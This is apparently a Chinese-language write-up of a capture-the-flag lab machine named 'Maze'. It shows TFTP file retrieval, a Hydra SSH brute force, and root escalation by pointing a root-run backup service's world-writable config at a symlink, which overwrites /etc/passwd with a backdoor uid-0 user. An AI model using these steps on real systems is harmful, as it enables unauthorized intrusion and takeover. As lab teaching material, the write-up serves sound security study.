一、信息收集

主机发现

使用`arp-scan`扫描局域网内的主机：

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ sudo arp-scan -l
...
192.168.205.158 08:00:27:55:48:f5       PCS Systemtechnik GmbH
...
```

发现目标主机：`192.168.205.158`

端口扫描

对目标主机进行全端口TCP扫描：

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ nmap -p0-65535 192.168.205.158
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-04 11:31 GMT
Nmap scan report for 192.168.205.158
Host is up (0.00011s latency).
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:55:48:F5 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1.05 seconds
```

开放端口：

- 22/tcp: SSH服务
- 80/tcp: HTTP服务

服务探测

HTTP服务分析

访问Web首页发现是靶场介绍页面，识别出CMS为Grav 1.7.48。虽然该版本存在RCE漏洞，但需要登录权限，而admin登录页面无法访问，因此该攻击路径不可行。

UDP端口扫描

对常用UDP端口进行扫描：

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ nmap -sU --top-port 200 192.168.205.158
...
PORT   STATE         SERVICE
68/udp open|filtered dhcpc
69/udp open|filtered tftp
...
```

发现TFTP服务运行在69/udp端口。

> [!Tip]
>
> https://book.hacktricks.wiki/zh/network-services-pentesting/69-udp-tftp.html#69---udp-tftp

二、TFTP服务利用

连接测试

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ tftp 192.168.205.158
tftp>
```

连接成功，但TFTP不提供目录列表功能，需要手动猜测文件名。

文件枚举

通过手动测试常见文件名：

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ tftp 192.168.205.158
tftp> get id_rsa
Error code 1: File not found
tftp> get passwd
Error code 1: File not found
tftp> get secret
Error code 1: File not found
tftp> get user.txt
```

成功获取到`user.txt`文件：

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ cat user.txt
flag{user-4e79af9d9b43464228ae1100839a2575}
username:bamuwe
need:bruteforce
```

获得关键信息：

- User flag: `flag{user-4e79af9d9b43464228ae1100839a2575}`
- 用户名: `bamuwe`
- 提示: 需要暴力破解

三、SSH暴力破解

使用Hydra对SSH服务进行密码暴力破解，使用Sublarge最喜欢的字典(:

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ hydra -l bamuwe -P xato-net-10-million-passwords.txt ssh://192.168.205.158 -f
-I -u -e nsr -t 64
...
[22][ssh] host: 192.168.205.158   login: bamuwe   password: hahaha
[STATUS] attack finished for 192.168.205.158 (valid pair found)
...
```

成功破解密码：`bamuwe:hahaha`

四、初始访问

SSH登录

##

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ ssh bamuwe@192.168.205.158
bamuwe@192.168.205.158's password:
...
bamuwe@Maze:~$
```

成功获取shell访问权限。

权限枚举

基础信息收集

```
bamuwe@Maze:~$ id
uid=1005(bamuwe) gid=1005(bamuwe) groups=1005(bamuwe)

bamuwe@Maze:~$ sudo -l
...
Sorry, user bamuwe may not run sudo on Maze.
```

用户无sudo权限。

SUID程序检查

```
bamuwe@Maze:~$ find / -perm -4000 -type f -exec ls -l {} \; 2>/dev/null
...
```

未发现可利用的SUID程序。

用户文件权限

```
bamuwe@Maze:~$ find / -user $(whoami) ! -path '/proc/*' ! -path '/sys/*' ! -path
'/run/*' 2>/dev/null
...
/etc/modprobe.d
/etc/modprobe.d/pwn.conf
/etc/modprobe.d/get_root.conf
```

发现用户对`/etc/modprobe.d/`目录下的配置文件有权限，但是没用sudo、suid、capabilities意义不大。

五、权限提升

服务分析

在`/opt`目录下发现关键服务脚本：

```
bamuwe@Maze:/opt$ cat log_backup_service.py
#!/usr/bin/env python3

import os
import json
import time
import shutil
import logging
from datetime import datetime
...
```

这是一个以root权限运行的日志备份服务，通过分析代码发现以下关键点：

1. 服务以root权限运行
2. 配置文件路径：`/etc/log_backup_service/config.json`
3. 具有任意文件复制功能
4. 文件名格式：`{backup_filename}.{timestamp}.bak`

配置文件权限检查

```
bamuwe@Maze:/opt$ ls -al /etc/log_backup_service/config.json
-rwxrwxrwx 1 root root 113 Aug 15 08:08 /etc/log_backup_service/config.json
```

我到这我就扒拉了一个`root.txt`交了，后面有空了，才扒拉拿shell。

这个是可以实现任意文件写入的，当然要软连接，它规则写的挺死。

```
archive_path = os.path.join(backup_dest, f"{backup_filename}.{timestamp}.bak")
```

聪明的小伙伴就会问了，我不能读shadow和ssh私钥吗，不巧root密码爆破不出来，ssh私钥和公钥对不上，无法利用。

提权利用

1. 时间戳计算

先随便写入到一个文件看看时间戳

```
bamuwe@Maze:~/a$ cat /etc/log_backup_service/config.json
{
  "source_log_path": "/var/log/my_app.log",
  "backup_dest": "/tmp/a/",
  "run_as_user": "root"
}
```

稍等片刻

```
bamuwe@Maze:~/a$ ls -la /tmp/a/
total 8
drwxr-xr-x  2 root root 4096 Sep  4 07:55 .
drwxrwxrwt 11 root root 4096 Sep  4 07:55 ..
-rw-r--r--  1 root root    0 Sep  4 07:55 my_app.log.20250904075549.bak
```

20250904 日期（固定）

0755 时间（修改）

49 秒（固定）

填一个和你时间靠近的就好了

2.准备恶意passwd文件

```
bamuwe@Maze:/tmp$ cp /etc/passwd passwd
bamuwe@Maze:/tmp$ vim passwd
bamuwe@Maze:/tmp$ tail -n 1 passwd
b:$1$AydoDDh4$tEky6m3O.OnY3HZ8FgoGI0:0:0::/root:/bin/bash
```

3. 软链接攻击

```
bamuwe@Maze:/tmp$ cd
bamuwe@Maze:~$ mkdir a
bamuwe@Maze:~$ cd a/
bamuwe@Maze:~/a$ vim /etc/log_backup_service/config.json
bamuwe@Maze:~/a$ cat /etc/log_backup_service/config.json
{
  "source_log_path": "/tmp/passwd",
  "backup_dest": "/home/bamuwe/a/",
  "run_as_user": "root"
}
bamuwe@Maze:~/a$ ln -sf /etc/passwd passwd.20250904080149.bak
```

当服务运行时，会将恶意的passwd文件内容写入到`/etc/passwd`，从而创建后门用户。

4. 切换到root权限

直接登录b就好了，密码`abcdefg`

```
bamuwe@Maze:~/a$ su b
Password:
root@Maze:/home/bamuwe/a# id
uid=0(root) gid=0(root) groups=0(root)
```

六、获取Flag

```
root@Maze:/home/bamuwe/a# cat /root/root.txt /srv/tftp/user.txt
flag{root-6195bd8a9d755a41e493440a804f46d4}
flag{user-4e79af9d9b43464228ae1100839a2575}
username:bamuwe
need:bruteforce
```